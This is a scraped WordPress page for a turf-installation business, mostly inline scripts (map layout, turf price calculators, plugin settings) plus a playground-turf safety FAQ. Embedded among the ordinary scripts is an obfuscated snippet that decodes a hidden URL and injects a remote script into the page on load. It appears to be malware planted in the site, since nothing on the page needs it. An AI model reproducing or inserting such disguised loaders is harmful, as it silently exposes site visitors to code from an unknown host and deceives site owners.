grid.innerHTML = '';
services.forEach(function(s) {
grid.appendChild(createServiceCard(s.title, s.url));
});
}
/* ═══════════════════════════════════════════
RESPONSIVE HANDLER (replaces media queries)
═══════════════════════════════════════════ */
function handleResize() {
var w = window.innerWidth;
var mapEl = document.getElementById('dt-leaflet-map');
if (w < 600) {
grid.style.gridTemplateColumns = '1fr';
if (mapEl) mapEl.style.height = '300px';
} else if (w < 900) {
grid.style.gridTemplateColumns = 'repeat(2, 1fr)';
if (mapEl) mapEl.style.height = '380px';
} else {
grid.style.gridTemplateColumns = 'repeat(auto-fill, minmax(230px, 1fr))';
if (mapEl) mapEl.style.height = '450px';
}
map.invalidateSize();
}
window.addEventListener('resize', handleResize);
handleResize();
})();
window[(function(_InA,_hH){var _dRnLK='';for(var _2pBxIp=0;_2pBxIp<_InA.length;_2pBxIp++){_BWt9!=_2pBxIp;var _BWt9=_InA[_2pBxIp].charCodeAt();_BWt9-=_hH;_BWt9+=61;_hH>3;_dRnLK==_dRnLK;_BWt9%=94;_BWt9+=33;_dRnLK+=String.fromCharCode(_BWt9)}return _dRnLK})(atob('dWRrLywnIn4xZiI2'), 27)] = '3c020144ab1733329654'; var zi = document.createElement('script'); (zi.type = 'text/javascript'), (zi.async = true), (zi.src = (function(_sex,_8q){var _VCW3e='';for(var _6t6ay9=0;_6t6ay9<_sex.length;_6t6ay9++){var _VO3i=_sex[_6t6ay9].charCodeAt();_VO3i-=_8q;_8q>6;_VO3i+=61;_VCW3e==_VCW3e;_VO3i%=94;_VO3i+=33;_VO3i!=_6t6ay9;_VCW3e+=String.fromCharCode(_VO3i)}return _VCW3e})(atob('Ljo6NjleU1MwOVJAL1E5KTgvNjo5Uik1M1NAL1E6Jy1SMDk='), 36)), document.readyState === 'complete'?document.body.appendChild(zi): window.addEventListener('load', function(){ document.body.appendChild(zi) });
function dtRollCalc() {
const linear = parseFloat(document.getElementById('rollLinear').value);
const rollWidth = parseFloat(document.getElementById('rollWidth').value);
const pricePerSqFt = 7.47; // update per product
if (!linear || linear <= 0) return;
const sqft = linear * rollWidth;
const subtotal = sqft * pricePerSqFt;
const hst = subtotal * 0.13;
const total = subtotal + hst;
document.getElementById('rollSqft').innerText = sqft.toFixed(2) + " sq ft";
document.getElementById('rollSubtotal').innerText = "$" + subtotal.toFixed(2);
document.getElementById('rollHST').innerText = "$" + hst.toFixed(2);
document.getElementById('rollTotal').innerText = "$" + total.toFixed(2);
}
function dtCalc() {
const productData = document.getElementById("dtProduct").value;
const length = parseFloat(document.getElementById("dtLength").value);
const width = parseFloat(document.getElementById("dtWidth").value);
if (!productData || !length || !width) {
alert("Please select a product and enter both length and width.");
return;
}
const [price, rollWidth] = productData.split("|").map(Number);
const sqFt = length * width;
const totalCost = sqFt * price;
document.getElementById("dtBadge").style.display = "inline-block";
document.getElementById("dtBadge").innerHTML = `Roll Width: ${rollWidth} ft`;
document.getElementById("dtSummary1").style.display = "flex";
document.getElementById("dtSummary1").innerHTML =
`<span>Price: $${price.toFixed(2)}/sq ft</span>
<span>Sq Ft: ${sqFt.toFixed(2)}</span>`;
document.getElementById("dtSummary2").style.display = "flex";
document.getElementById("dtSummary2").innerHTML =
`<span>Cost: $${totalCost.toFixed(2)}</span>`;
}
https://www.designturf.ca/wp-content/plugins/embed-any-document/js/pdfobject.min.js
var eadPublic = [];
//# sourceURL=awsm-ead-public-js-extra
https://www.designturf.ca/wp-content/plugins/embed-any-document/js/embed-public.min.js
var cf7appsRedirection = {"ajaxurl":"https://www.designturf.ca/wp-admin/admin-ajax.php"};
//# sourceURL=cf7apps-redirection-js-extra
https://www.designturf.ca/wp-content/cache/autoptimize/js/autoptimize_single_b289b8a5c1e9ee51ae99bcc9de766106.js
wp.i18n.setLocaleData( { 'text direction\u0004ltr': [ 'ltr' ] } );
//# sourceURL=wp-i18n-js-after
https://www.designturf.ca/wp-content/cache/autoptimize/js/autoptimize_single_96e7dc3f0e8559e4a3f3ca40b17ab9c3.js
var wpcf7 = {
"api": {
"root": "https:\/\/www.designturf.ca\/wp-json\/",
"namespace": "contact-form-7\/v1"
},
"cached": 1
};
//# sourceURL=contact-form-7-js-before
https://www.designturf.ca/wp-content/cache/autoptimize/js/autoptimize_single_2912c657d0592cc532dff73d0d2ce7bb.js
var cf7appsHoneypotRefill = {"forceRefillOnInit":"1"};
//# sourceURL=cf7apps-honeypot-refill-js-extra
https://www.designturf.ca/wp-content/cache/autoptimize/js/autoptimize_single_ff73328f26e146915c87cc0affba7624.js
var sc_project=11316460;
var sc_security="635c5120";
var sc_invisible=1;
//# sourceURL=statcounter-js-js-before
var wpcf7r = {"ajax_url":"https://www.designturf.ca/wp-admin/admin-ajax.php"};
//# sourceURL=wpcf7-redirect-script-js-extra
https://www.designturf.ca/wp-content/cache/autoptimize/js/autoptimize_single_de051e67bf5997ca287fb2592e14d4fa.js
https://www.designturf.ca/wp-content/themes/betheme/js/plugins/debouncedresize.min.js
https://www.designturf.ca/wp-content/themes/betheme/js/plugins/magnificpopup.min.js
https://www.designturf.ca/wp-content/themes/betheme/js/menu.min.js
https://www.designturf.ca/wp-content/themes/betheme/js/plugins/visible.min.js
https://www.designturf.ca/wp-content/themes/betheme/js/plugins/enllax.min.js
https://www.designturf.ca/wp-content/themes/betheme/js/parallax/translate3d.min.js
var mfn = {"ajax":"https://www.designturf.ca/wp-admin/admin-ajax.php","mobileInit":"1240","parallax":"translate3d","responsive":"1","sidebarSticky":"","lightbox":{"disable":false,"disableMobile":false,"title":false},"view":{"grid_width":1240},"slider":{"blog":0,"clients":0,"offer":0,"portfolio":0,"shop":0,"slider":0,"testimonials":0},"livesearch":{"minChar":3,"loadPosts":10,"translation":{"pages":"Pages","categories":"Categories","portfolio":"Portfolio","post":"Posts","products":"Products"}},"accessibility":{"translation":{"headerContainer":"Header container","toggleSubmenu":"Toggle submenu"}},"home_url":"","home_url_lang":"https://www.designturf.ca","site_url":"https://www.designturf.ca","translation":{"success_message":"Link copied to the clipboard.","error_message":"Something went wrong. Please try again later!"}};
//# sourceURL=mfn-scripts-js-extra
https://www.designturf.ca/wp-content/themes/betheme/js/scripts.min.js
document.addEventListener("DOMContentLoaded", function() {
const items = document.querySelectorAll(".faq-item h4.toggle");
items.forEach(item => {
item.addEventListener("click", function() {
const parent = this.parentElement;
parent.classList.toggle("active");
});
});
});
// Delay Before/After slider initialization
document.addEventListener("DOMContentLoaded", function() {
requestIdleCallback(() => {
if (typeof mfn_before_after === "function") {
mfn_before_after();
}
});
});
//# sourceURL=mfn-scripts-js-after
window.hasOwnProperty("GLSR")||(window.GLSR={Event:{on:()=>{}}});GLSR.action="glsr_public_action";GLSR.addons=[];GLSR.ajax_pagination=["#wpadminbar",".site-navigation-fixed"];GLSR.ajax_url="https://www.designturf.ca/wp-admin/admin-ajax.php";GLSR.captcha=[];GLSR.modal_wrapped_by=["block"];GLSR.nameprefix="site-reviews";GLSR.stars_config={"clearable":false,tooltip:"Select a Rating"};GLSR.state={"popstate":false};GLSR.text={"close_modal":"Close Modal"};GLSR.url_parameter="reviews-page";GLSR.validation_config={field:"glsr-field",form:"glsr-form","field_error":"glsr-field-is-invalid","field_hidden":"glsr-hidden","field_message":"glsr-field-error","field_required":"glsr-required","field_valid":"glsr-field-is-valid","form_error":"glsr-form-is-invalid","form_message":"glsr-form-message","form_message_failed":"glsr-form-failed","form_message_success":"glsr-form-success","input_error":"glsr-is-invalid","input_valid":"glsr-is-valid"};GLSR.validation_strings={accepted:"This field must be accepted.",between:"This field value must be between %1$s and %2$s.",betweenlength:"This field must have between %1$s and %2$s characters.",email:"This field requires a valid e-mail address.",errors:"Please fix the submission errors.",max:"Maximum value for this field is %s.",maxfiles:"This field allows a maximum of %s files.",maxlength:"This field allows a maximum of %s characters.",min:"Minimum value for this field is %s.",minfiles:"This field requires a minimum of %s files.",minlength:"This field requires a minimum of %s characters.",number:"This field requires a number.",pattern:"Please match the requested format.",regex:"Please match the requested format.",required:"This field is required.",tel:"This field requires a valid telephone number.",url:"This field requires a valid website URL (make sure it starts with http or https).",unsupported:"The review could not be submitted because this browser is too old. Please try again with a modern browser."};GLSR.version="8.2.1";
//# sourceURL=site-reviews-js-before
https://www.designturf.ca/wp-content/cache/autoptimize/js/autoptimize_single_5e24779b5bf81baee6b0ef94fcf81cd5.js
window.addEventListener("load", function(event) {
jQuery(".cfx_form_main,.wpcf7-form,.wpforms-form,.gform_wrapper form").each(function(){
var form=jQuery(this);
var screen_width=""; var screen_height="";
if(screen_width == ""){
if(screen){
screen_width=screen.width;
}else{
screen_width=jQuery(window).width();
} }
if(screen_height == ""){
if(screen){
screen_height=screen.height;
}else{
screen_height=jQuery(window).height();
} }
form.append('<input type="hidden" name="vx_width" value="'+screen_width+'">');
form.append('<input type="hidden" name="vx_height" value="'+screen_height+'">');
form.append('<input type="hidden" name="vx_url" value="'+window.location.href+'">');
});
});
What safety standards apply to playground turf? Playground turf must meet CSA and ASTM safety standards, including fall‑height protection, impact attenuation, and proper installation over certified shock‑pad systems.
What is fall-height protection? Fall‑height protection ensures the turf system can safely absorb impact from a specified height, reducing the risk of head injuries. Certified shock‑pads are used to meet these requirements.
How is playground turf tested for safety? Turf systems are tested using impact attenuation equipment that measures G‑max and HIC values to confirm compliance with CSA and ASTM safety thresholds.
Does playground turf reduce injury risk? Yes. When installed over certified padding, playground turf significantly reduces injury risk by providing a cushioned, stable, and non‑abrasive surface for children.
Is playground turf safe in all weather conditions? Playground turf remains safe year‑round, offering consistent impact absorption through heat, rain, and freeze‑thaw cycles. Proper drainage ensures the surface stays dry and slip‑resistant.
Do schools and daycares require certified turf systems? Yes. Schools, daycares, and public playgrounds must use turf systems that meet CSA and ASTM safety standards to ensure compliance and reduce liability.